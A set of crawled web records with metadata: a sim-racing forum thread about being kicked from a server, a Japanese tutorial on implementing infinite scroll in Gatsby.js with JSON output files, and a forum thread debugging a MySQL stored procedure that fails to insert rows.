"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
106,602,974,726,008,960 | • "Bwoah." - Generic Kimi Quotes.
1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.
2. If you have any questions, please don't hesitate to ask. There's no such thing as a stupid question.
Kicked from the RD server
Discussion in 'Stock Car Extreme' started by Sean McGrath, Dec 20, 2012.
1. Sean McGrath
Sean McGrath
Messages:
6
Ratings:
+0
The hughs bro's were in the server i tried to join and was constantly kicked before i could type
2. Scott Webber
Scott Webber
Messages:
7,392
Ratings:
+2,397
i don't see your name on the server log, when was this?
you may have been kicked for various reasons,
3. Sean McGrath
Sean McGrath
Messages:
6
Ratings:
+0
This would have veen a little over an hour ago, the first time i joined i was able to get on the track for abit before i got droped
4. Bram
Bram
#27 | Roaring Pipes Maniacs Staff Premium
Messages:
41,685
Ratings:
+15,998
What was the track / car combination? Addon track maybe?
5. Scott Webber
Scott Webber
Messages:
7,392
Ratings:
+2,397
have you checked to see if your mods work offline? , like any track you may have downloaded, if it doesn't work then the installation for the track may have been installed in the wrong folder.
6. Bram
Bram
#27 | Roaring Pipes Maniacs Staff Premium
Messages:
41,685
Ratings:
+15,998
There is only one server up and that one is for private testing the headlights mod on the ring. Probably been a server of somebody else.
7. Nik Hughes
Nik Hughes
Messages:
771
Ratings:
+399
There's a public server up for the Ring, says it's an RD one. Noticed Sean join and leave soon after when we were on yesterday, didn't come up with any mismatch warning or anything.
8. Bram
Bram
#27 | Roaring Pipes Maniacs Staff Premium
Messages:
41,685
Ratings:
+15,998
Oh but that one probably has our light mod installed for testing. Strange that you guys could join though.
Maybe running with older league skinpacks?
9. Jimi Hughes
Jimi Hughes
RDMCC S6 Champion
Messages:
903
Ratings:
+445
Nik and I were both in that server, which was public with no passwords, didn't realise it was supposed to be private and for the light mod testing only... My Bad I guess!
We were only using standard skins not the RDMCC skins. I would guess that any issues with people being booted from the server is due to incorrect installation of the circuit, there was certainly no issues with the server that I was aware of...
• Like Like x 1
10. Bram
Bram
#27 | Roaring Pipes Maniacs Staff Premium
Messages:
41,685
Ratings:
+15,998
• Like Like x 1
11. Marco Bijl
Marco Bijl
adMAXIhater (O.O.O.)
Messages:
6,558
Ratings:
+3,186
Using the skinpack from the MCC results in a fault notification in windows, when the track is loading. Should not get you kicked, as when you acknoledge the notification, loading continues, and you can drive. Only thing is that you are seen as a TEMP car by others in the server.
So, it must have been track related. Indeed, check the version of the Nords. Had the same a while back.
The server referred to here, is joinable with and without the lights mod installed. Only the race session is in the dark, so practice and qualify can be driven without the light mod as well.
| {
"url": "http://www.racedepartment.com/threads/kicked-from-the-rd-server.61867/",
"source_domain": "www.racedepartment.com",
"snapshot_id": "crawl=CC-MAIN-2017-22",
"warc_metadata": {
"Content-Length": "97492",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GF4CICVPVKQRYU37I4H7RXCXDKOPZ3E7",
"WARC-Concurrent-To": "<urn:uuid:de9b9257-1ab6-4c91-b622-814180fd0579>",
"WARC-Date": "2017-05-25T12:43:50Z",
"WARC-IP-Address": "31.204.128.181",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:JEMNNFX3WHX6JQURIKHHQICPQKOJ4J7T",
"WARC-Record-ID": "<urn:uuid:2c9400c3-92d2-4eab-9215-11c797fcdf78>",
"WARC-Target-URI": "http://www.racedepartment.com/threads/kicked-from-the-rd-server.61867/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:07daab5f-ff19-4cea-a666-867731012f17>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
36,
149,
255,
256,
282,
283,
356,
357,
375,
376,
393,
394,
408,
414,
427,
434,
535,
541,
559,
560,
577,
578,
592,
602,
615,
626,
686,
687,
737,
743,
761,
762,
779,
780,
794,
800,
813,
820,
956,
962,
972,
973,
982,
1028,
1029,
1043,
1054,
1067,
1079,
1140,
1146,
1164,
1165,
1182,
1183,
1197,
1207,
1220,
1231,
1428,
1434,
1444,
1445,
1454,
1500,
1501,
1515,
1526,
1539,
1551,
1692,
1698,
1714,
1715,
1730,
1731,
1745,
1753,
1766,
1775,
1961,
1967,
1977,
1978,
1987,
2033,
2034,
2048,
2059,
2072,
2084,
2195,
2196,
2243,
2249,
2266,
2267,
2283,
2305,
2306,
2320,
2328,
2341,
2350,
2525,
2526,
2774,
2780,
2800,
2811,
2812,
2821,
2867,
2868,
2882,
2893,
2906,
2918,
2938,
2955,
2956,
2971,
2996,
2997,
3011,
3021,
3034,
3045,
3329,
3330,
3438,
3439,
3634
],
"line_end_idx": [
36,
149,
255,
256,
282,
283,
356,
357,
375,
376,
393,
394,
408,
414,
427,
434,
535,
541,
559,
560,
577,
578,
592,
602,
615,
626,
686,
687,
737,
743,
761,
762,
779,
780,
794,
800,
813,
820,
956,
962,
972,
973,
982,
1028,
1029,
1043,
1054,
1067,
1079,
1140,
1146,
1164,
1165,
1182,
1183,
1197,
1207,
1220,
1231,
1428,
1434,
1444,
1445,
1454,
1500,
1501,
1515,
1526,
1539,
1551,
1692,
1698,
1714,
1715,
1730,
1731,
1745,
1753,
1766,
1775,
1961,
1967,
1977,
1978,
1987,
2033,
2034,
2048,
2059,
2072,
2084,
2195,
2196,
2243,
2249,
2266,
2267,
2283,
2305,
2306,
2320,
2328,
2341,
2350,
2525,
2526,
2774,
2780,
2800,
2811,
2812,
2821,
2867,
2868,
2882,
2893,
2906,
2918,
2938,
2955,
2956,
2971,
2996,
2997,
3011,
3021,
3034,
3045,
3329,
3330,
3438,
3439,
3634,
3639
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3639,
"ccnet_original_nlines": 133,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3500678539276123,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01899592950940132,
"rps_doc_frac_lines_end_with_ellipsis": 0.007462690118700266,
"rps_doc_frac_no_alph_words": 0.27137041091918945,
"rps_doc_frac_unique_words": 0.4423076808452606,
"rps_doc_mean_word_length": 4.344405651092529,
"rps_doc_num_sentences": 48,
"rps_doc_symbol_to_word_ratio": 0.008141109719872475,
"rps_doc_unigram_entropy": 5.14096736907959,
"rps_doc_word_count": 572,
"rps_doc_frac_chars_dupe_10grams": 0.10623741894960403,
"rps_doc_frac_chars_dupe_5grams": 0.1826961785554886,
"rps_doc_frac_chars_dupe_6grams": 0.17384305596351624,
"rps_doc_frac_chars_dupe_7grams": 0.17384305596351624,
"rps_doc_frac_chars_dupe_8grams": 0.17384305596351624,
"rps_doc_frac_chars_dupe_9grams": 0.10623741894960403,
"rps_doc_frac_chars_top_2gram": 0.02173038013279438,
"rps_doc_frac_chars_top_3gram": 0.016096580773591995,
"rps_doc_frac_chars_top_4gram": 0.02736419066786766,
"rps_doc_books_importance": -289.4105224609375,
"rps_doc_books_importance_length_correction": -289.4105224609375,
"rps_doc_openwebtext_importance": -183.9044189453125,
"rps_doc_openwebtext_importance_length_correction": -183.9044189453125,
"rps_doc_wikipedia_importance": -149.0006561279297,
"rps_doc_wikipedia_importance_length_correction": -149.0006561279297
},
"fasttext": {
"dclm": 0.01953626051545143,
"english": 0.9646788239479065,
"fineweb_edu_approx": 1.0211139917373657,
"eai_general_math": 0.004960120189934969,
"eai_open_web_math": 0.2965920567512512,
"eai_web_code": 0.00035678999847732484
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
3,266,515,039,604,414,500 | LoginSignup
6
5
More than 3 years have passed since last update.
Gatsby.jsで無限スクロールを実装する方法
Last updated at Posted at 2021-01-26
この記事について
無限スクロールしたいというのは、割と良くあることだと思います。
純粋なReactだと無限スクロールのコンポーネントはGithubにもたくさん上がっていて、それらを導入するだけで済むのですが、Gatsby.jsを使用する場合にはちょっとした注意点と対策が必要なので、それを書きます。
まず素直に書いてみる
無限スクロールのコンポーネントには、スター数が多いankeetmaini/react-infinite-scroll-componentを使います。
import React, { useState } from "react"
import { graphql } from "gatsby"
import InfiniteScroll from 'react-infinite-scroll-component'
const IndexPage = ({ data: { allVideo }}) => {
const [showVideoIndex, setShowVideoIndex] = useState(24)
const [showVideos, setShowVideos] = useState(allVideo.nodes)
return (
<InfiniteScroll
dataLength={showVideoIndex}
next={() => setShowVideoIndex(showVideoIndex + 24)}
hasMore={showVideos.length > showVideoIndex}
>
{showVideos.slice(0, showVideoIndex).map((video, key) => (
<VideoCard video={video}/>
))}
</InfiniteScroll>
</div>
)
}
export default IndexPage
export const query = graphql`
{
allVideo {
nodes {
id
thumbnail_image {
childImageSharp {
fluid(maxWidth: 300) {
...GatsbyImageSharpFluid
}
}
}
}
}
}
`
これは、動画のサムネイルを表示して、無限スクロールする例です。
簡単にやっていることを説明すると、allVideoというgraphQLを発行し、全ての動画を配列で取得、スクロールするごとにshowVideoIndexを加算し、allVideo配列の最初からshowVideoIndexまでのサムネイルを表示しています。
問題点
上記のプログラムには、問題があります。
動画が増えれば増えるほど、このページは読み込みが重くなります。
さらに、上記のページに全てのページからワンクリックでアクセスできる場合、サイト全体が重くなります。
理由は、Gatsby.jsがバックグラウンドで読ませているpage-data.jsonにあります。
Gatsby.jsは、まず初期レンダリングの状態を静的なHTMLとして生成します。上記の例だと、初期のshowVideoIndexは24なので、24個の動画サムネイルが表示される状態のHTMLファイルを生成します。
それと同時に、上記のページで発行しているgraphQLの結果をpage-data.jsonとして生成しています。
HTMLファイルと一緒にブラウザに渡して、Hydrateしているみたいです。
page-data.jsonにはクエリ結果が１つのファイルに収められているので、動画数が10000とかになれば、数MBのファイルになるでしょう。
さらに、Gatsbyは、Gatsby Link(<Link/>)先のページのpage-data.jsonもプリフェッチします。
先ほど全てのページが重くなる可能性があると言ったのは、そのためです。
じゃあapiを作って、そこから読み込むというのが選択肢になるわけですが、外部のAPIを使った場合、Gatsbyの生成した画像URLなどは参照できないわけです。
解決策
一度に読み込む分のデータを切り分けて、jsonファイルにします。
JSON Outputというめちゃめちゃ便利なGatsbyプラグインがあるので、これを使います。
JSON Outputをインストールしたら、gatsby-config.jsのpluginsをこんな感じで書き換えます。
// あなたのサイトのURL
const siteUrl = `https://example.com`
module.exports = {
siteMetadata: {
...
},
plugins: [
{
resolve: `gatsby-plugin-json-output`,
options: {
siteUrl: siteUrl,
graphQLQuery: `
{
allVideo(skip: 24, limit: 240) {
nodes {
id
thumbnail_image {
childImageSharp {
fluid {
aspectRatio
src
srcSet
sizes
}
}
}
}
}
}`,
serialize: results => results.data.allVideoOrderByReleasedAt.nodes.map(_ => ({
path: ``, // ファイルを生成する先のパス
})),
serializeFeed: results => results.data.allVideo.nodes,
feedFilename: `all_video`,
nodesPerFeedFile: 24, // 一回に読み込む数
}
},
],
}
これで、jsonファイルが/all_video-1.json/all_video-2.json...みたいな感じで生成されます。
allVideo(skip: 24, limit: 240)としているのは、最初のプログラムで書いた通り、24個の動画を初期レンダリングさせるつもりなので、最初の24個はjsonデータを生成しなくて良いので、スキップさせています。
nodesPerFeedFileは、jsonファイル一つにつき、いくつの動画データを入れるかという意味です。無限スクロール一回につき、いくつの動画を読み込むかという意味にもなります。
なので、無限スクロールできる回数は、ここのskiplimitと、nodesPerFeedFileの値で決まります。(limit - skip) / nodesPerFeedFile = 無限スクロール可能回数です。余りが出る可能性がある場合は、例外が発生しないように気をつけてください。
注意点１
gatsby-config.jsでは、GraphQLのフラグメントが使えません。...GatsbyImageSharpFluidとかです。
Gatsby.jsのGraphQLのフラグメントの中身はgatsby-transformer-sharp/src/fragments.jsに書いてあるので、上記のように中身を直接書きましょう。
base64というのは、画像が読み込まれるまでに表示されるモヤモヤっとしたモザイク画像みたいなのを表示するためのものですが、jsonファイルのサイズが２倍近くになる可能性があるので、いらないと思います。
注意点２
ここで設定したjsonファイル生成は、gatsby developでは機能しません。gatsby buildで生成してください。
一回gatsby buildで生成してしまえば、gatsby developでフェッチできます。
最初のファイルを書き換える
こんな感じにします。
import React, { useState } from "react"
import { graphql } from "gatsby"
import InfiniteScroll from 'react-infinite-scroll-component'
const IndexPage = ({ data: { allVideo }}) => {
const [page, setPage] = useState(0)
const [videos, setVideos] = useState(allVideo.nodes)
const [hasMore, setHasMore] = useState(true)
const addVideos = (newVideos) => {
const videosCopy = JSON.parse(JSON.stringify(videos))
videosCopy.push(...newVideos)
setVideos(videosCopy)
}
const fetchVideos = (nextPage) => {
fetch(`/all_video-${nextPage}.json`)
.then(response => response.json())
.then(json => addVideos(json.items))
.then(() => setPage(nextPage))
.catch(e => {
// 取得しようとしたjsonファイルが存在しなかった → もう追加データがない
setHasMore(true)
console.log(e)
})
}
return (
<div className='w-full'>
<InfiniteScroll
dataLength={videos.length}
next={() => fetchVideos(page + 1)}
hasMore={hasMore}
>
{videos.map((video, key) => (
<VideoCard video={video}/>
))}
</InfiniteScroll>
</div>
)
}
export default IndexPage
export const query = graphql`
{
# limitはgatsby-config.jsに依存
allVideo(limit: 24) {
nodes {
id
thumbnail_image {
childImageSharp {
fluid {
...GatsbyImageSharpFluid
}
}
}
}
}
}
`
スクロールされたら、スクロール回数に応じたjsonファイルをフェッチし、フェッチできなかったら(catchされたら）hasMore=falseにしちゃう感じです。
graphQLのlimit数がgatsby-config.jsに依存しちゃうので、注意しましょう。（ここのlimit数が10でgatsby-config.jsのskip数が20とかになると、11個目〜20個目が表示されません。）
これでどれだけ動画数が増えても重くなりませんし、Gatsbyによって生成された画像などを無限スクロールで表示することができます。
6
5
0
Register as a new user and use Qiita more conveniently
1. You get articles that match your needs
2. You can efficiently read back useful information
3. You can use dark theme
What you can do with signing up
6
5 | {
"url": "https://qiita.com/Michinosuke/items/32c3d312d1ef8639c502",
"source_domain": "qiita.com",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "141480",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:EZTCEI6OE5IT7OTI3ZNJ6SNAEADKIYE5",
"WARC-Concurrent-To": "<urn:uuid:947d0fdb-7b11-4431-b37a-73eccd03f6a9>",
"WARC-Date": "2024-05-22T17:37:28Z",
"WARC-IP-Address": "52.197.93.140",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:5IRFEJVILSI7ECPUZYOLB7C5D2JJG7G5",
"WARC-Record-ID": "<urn:uuid:d2db29d8-78f6-4a2e-aa39-4baeab5855b5>",
"WARC-Target-URI": "https://qiita.com/Michinosuke/items/32c3d312d1ef8639c502",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:973cb512-7db0-468b-9c4b-a5aaf294e3aa>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-204\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
12,
14,
16,
17,
66,
67,
92,
93,
130,
131,
140,
141,
173,
282,
283,
294,
295,
370,
371,
411,
444,
505,
506,
553,
614,
679,
680,
693,
694,
718,
758,
822,
879,
889,
960,
1003,
1019,
1045,
1046,
1057,
1061,
1063,
1064,
1089,
1090,
1120,
1122,
1137,
1153,
1168,
1198,
1232,
1275,
1324,
1346,
1364,
1378,
1388,
1394,
1396,
1398,
1399,
1431,
1559,
1560,
1564,
1565,
1585,
1617,
1667,
1668,
1718,
1719,
1827,
1828,
1885,
1924,
1925,
1998,
1999,
2063,
2098,
2099,
2179,
2180,
2184,
2185,
2218,
2267,
2328,
2329,
2344,
2382,
2383,
2402,
2420,
2428,
2433,
2446,
2452,
2496,
2513,
2539,
2563,
2573,
2616,
2636,
2653,
2685,
2721,
2751,
2787,
2815,
2846,
2876,
2900,
2920,
2936,
2950,
2962,
2974,
3061,
3098,
3111,
3174,
3209,
3251,
3259,
3266,
3271,
3273,
3274,
3339,
3340,
3456,
3457,
3549,
3550,
3694,
3695,
3700,
3701,
3771,
3772,
3869,
3870,
3972,
3973,
3978,
3979,
4044,
4093,
4094,
4108,
4109,
4120,
4121,
4122,
4162,
4195,
4256,
4257,
4304,
4344,
4401,
4450,
4451,
4490,
4552,
4590,
4620,
4626,
4627,
4667,
4712,
4759,
4808,
4851,
4877,
4934,
4967,
4998,
5013,
5019,
5020,
5033,
5062,
5086,
5125,
5172,
5202,
5212,
5254,
5297,
5313,
5339,
5340,
5351,
5355,
5357,
5358,
5383,
5384,
5414,
5416,
5448,
5474,
5490,
5505,
5535,
5569,
5597,
5646,
5668,
5686,
5700,
5710,
5716,
5718,
5720,
5721,
5803,
5804,
5919,
5920,
5985,
5986,
5988,
5990,
5992,
5993,
6048,
6049,
6093,
6147,
6175,
6207,
6209
],
"line_end_idx": [
12,
14,
16,
17,
66,
67,
92,
93,
130,
131,
140,
141,
173,
282,
283,
294,
295,
370,
371,
411,
444,
505,
506,
553,
614,
679,
680,
693,
694,
718,
758,
822,
879,
889,
960,
1003,
1019,
1045,
1046,
1057,
1061,
1063,
1064,
1089,
1090,
1120,
1122,
1137,
1153,
1168,
1198,
1232,
1275,
1324,
1346,
1364,
1378,
1388,
1394,
1396,
1398,
1399,
1431,
1559,
1560,
1564,
1565,
1585,
1617,
1667,
1668,
1718,
1719,
1827,
1828,
1885,
1924,
1925,
1998,
1999,
2063,
2098,
2099,
2179,
2180,
2184,
2185,
2218,
2267,
2328,
2329,
2344,
2382,
2383,
2402,
2420,
2428,
2433,
2446,
2452,
2496,
2513,
2539,
2563,
2573,
2616,
2636,
2653,
2685,
2721,
2751,
2787,
2815,
2846,
2876,
2900,
2920,
2936,
2950,
2962,
2974,
3061,
3098,
3111,
3174,
3209,
3251,
3259,
3266,
3271,
3273,
3274,
3339,
3340,
3456,
3457,
3549,
3550,
3694,
3695,
3700,
3701,
3771,
3772,
3869,
3870,
3972,
3973,
3978,
3979,
4044,
4093,
4094,
4108,
4109,
4120,
4121,
4122,
4162,
4195,
4256,
4257,
4304,
4344,
4401,
4450,
4451,
4490,
4552,
4590,
4620,
4626,
4627,
4667,
4712,
4759,
4808,
4851,
4877,
4934,
4967,
4998,
5013,
5019,
5020,
5033,
5062,
5086,
5125,
5172,
5202,
5212,
5254,
5297,
5313,
5339,
5340,
5351,
5355,
5357,
5358,
5383,
5384,
5414,
5416,
5448,
5474,
5490,
5505,
5535,
5569,
5597,
5646,
5668,
5686,
5700,
5710,
5716,
5718,
5720,
5721,
5803,
5804,
5919,
5920,
5985,
5986,
5988,
5990,
5992,
5993,
6048,
6049,
6093,
6147,
6175,
6207,
6209,
6210
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6210,
"ccnet_original_nlines": 238,
"rps_doc_curly_bracket": 0.015136879868805408,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.043756671249866486,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010672359727323055,
"rps_doc_frac_lines_end_with_ellipsis": 0.004184099845588207,
"rps_doc_frac_no_alph_words": 0.5923159122467041,
"rps_doc_frac_unique_words": 0.6825938820838928,
"rps_doc_mean_word_length": 14.686006546020508,
"rps_doc_num_sentences": 55,
"rps_doc_symbol_to_word_ratio": 0.007470650132745504,
"rps_doc_unigram_entropy": 5.091024398803711,
"rps_doc_word_count": 293,
"rps_doc_frac_chars_dupe_10grams": 0.101324662566185,
"rps_doc_frac_chars_dupe_5grams": 0.12038113176822662,
"rps_doc_frac_chars_dupe_6grams": 0.101324662566185,
"rps_doc_frac_chars_dupe_7grams": 0.101324662566185,
"rps_doc_frac_chars_dupe_8grams": 0.101324662566185,
"rps_doc_frac_chars_dupe_9grams": 0.101324662566185,
"rps_doc_frac_chars_top_2gram": 0.0013943800004199147,
"rps_doc_frac_chars_top_3gram": 0.014640949666500092,
"rps_doc_frac_chars_top_4gram": 0.0250987708568573,
"rps_doc_books_importance": -380.9415283203125,
"rps_doc_books_importance_length_correction": -380.9415283203125,
"rps_doc_openwebtext_importance": -152.0912322998047,
"rps_doc_openwebtext_importance_length_correction": -152.0912322998047,
"rps_doc_wikipedia_importance": -121.79702758789062,
"rps_doc_wikipedia_importance_length_correction": -121.79702758789062
},
"fasttext": {
"dclm": 0.9994231462478638,
"english": 0.00504348985850811,
"fineweb_edu_approx": 2.585818290710449,
"eai_general_math": 0.7090398669242859,
"eai_open_web_math": 0.028038619086146355,
"eai_web_code": 0.5431715250015259
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,892,489,331,403,975,000 | 0
I am trying to insert a set of attribute rows into a table based on the range of a unique key (product_id) and three passed variables. This is on a MySQL database. The three variables are the start_product_id, the end_product_id and the batch_attr_id.
The stored procedure does not return an error, but it does not product any inserts.
code start here ---------------
insert into `product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`)
(
SELECT a.`product_id`
,b.`attr_id`
,b.`lang_id`
,b.`attr_value`
FROM `product` a
,`batch_attr_detail` b
,`batch_attr_set` c
WHERE c.`batch_attr_id` = @`batch_attr_id`
and c.`batch_attr_id` = b.`batch_attr_id`
and a.`product_id` between @`start_product_id` and @`end_product_id`
);
--------------end of code
------------------------
I am calling the stored procude with this syntax -
call batch_update_proc(575,576,112);
There are records with both 575 and 576 as product IDs and the batch set 112 exists. If I take the select out of the procedure and substitute scalars, it works fine. Just no insert.
Can any one please tell me what stupid error I am making? I have spent hours on this!
Thx - Kat
3
Contributors
12
Replies
56
Views
2 Years
Discussion Span
Last Post by ryantroop
0
It would really help to see the whole declaration, so we can see the incoming variables.
At first glance, it looks like you're doing something funny with your vars by using quotes...
@'foo' should be @foo, And in MySQL, I have found more success just avoiding user declared variables and just using the VARs passed in.
Of course, your mileage may vary...
0
Yes, I agree on the declaration. I did not have those in the original, but someone suggested that I explicitly declare the variables. Also on the blasted quotes - I am not sure how or why, but my installation requires the different kind of quotes. If you know how to turn them off, I would be eternally grateful. They are a total PAIN.
Here is an image of the stored procedure as it sit. Notice that I do not have the explicit declaration in this one.
Click Here
Thanks - Kat
0
may sound silly, but can you try without the () surrounding your select?
insert into `product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`)
SELECT a.`product_id`
,b.`attr_id`
,b.`lang_id`
,b.`attr_value`
FROM `product` a
,`batch_attr_detail` b
,`batch_attr_set` c
WHERE c.`batch_attr_id` = @`batch_attr_id`
and c.`batch_attr_id` = b.`batch_attr_id`
and a.`product_id` between @`start_product_id` and @`end_product_id`
Other than that, I am not familliar with the program you are using to manage your SQL, and with that I am not familliar with some of your syntax -- that doesn't mean it's wrong, though.
you may also want to comment out the insert, and just see if your select is in fact returning any data. If not, you may have to modify your select syntax. I don't often (in fact, never) do macros like you are, where I have a.'foo' instead it's a.foo. Again, however, that may be due to the SQL manager you are using, and less a syntax issue.
Edited by ryantroop
0
The tool I am using is phpadmin and this is the way it shows stored procedures. I still create them using the DDL, but when I try to edit them, this seems to be the only way to get to them.
Sorry, I thought I mentioned before that the select works fine. Very annoying, let me tell you! I will try the parens, and see if that helps.
Thx - Kat
0
Removal of parentheses caused to change in behavior. Select still works.
0
I don't use phpmyadmin, So maybe someone who does may be able to help with debugging... The query looks fine, so all I can go on is assuming that it compiled without error, that your data types match, And that your query does actually return data when run inside the stored procedure. All this things true, the only other things I can think of is that your user does not have insert rights, that you must explicitly commit the insert, or some other quirk with how you are set up.
Sorry, but I think I can't help without actually connecting to the database with something like MySQL workbench and trying to run the stuff manually
Edited by ryantroop
0
Stored procedures will give you a small performance boost, but mostly they are for doing tasks that are difficult or impossible to do with a simple query. Stored procedures are great for simplifying access to data for many different types of clients. Database administrators love them because they control how the database is used as opposed to leaving those details to the developer.
Look to indexes and proper table design to get better performance.
Edited by joshuajames.delacruz
0
I agree overall on the justification for stored procedures, but that was not really my question. I'm creating a set of stored procedures to simplify an extremely complex set of steps in a critical process. In order to mitigate the risk on programming errors, I am trying to build my components of the process one-by-one. Obviously, I am missing some required components , but I am now close, thanks to the input from others on this list. I will post the completed solution when done. I can write stored procs in four other DBMS environments without a problem, but this situation had me floored! However, I am testing a fix now and will let people know how it goes.
0
DELIMITER $$
USE `techrentals`$$
DROP PROCEDURE IF EXISTS `getInvoiceList`$$
CREATE DEFINER=`root`@`%` PROCEDURE `PList`(IN prod_id INT)
BEGIN
insert into `product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`)
SELECT
a.`product_id`
,b.`attr_id`
,b.`lang_id`
,b.`attr_value`
FROM
`product` a
,`batch_attr_detail` b
,`batch_attr_set` c
WHERE c.`batch_attr_id` = @`batch_attr_id`
and c.`batch_attr_id` = b.`batch_attr_id`
and a.`product_id` between @`start_product_id` and @`end_product_id`
END$$
DELIMITER ;
0
I will have to try that one also. I changed the NO SQL to CONTAINS SQL and also changed the coding convention on the variables. This now works properly. Minor changes, but I really appreciate the help that you guys gave me. I followed that same convention for the next 4 stored procs and they are all working flawlessly.
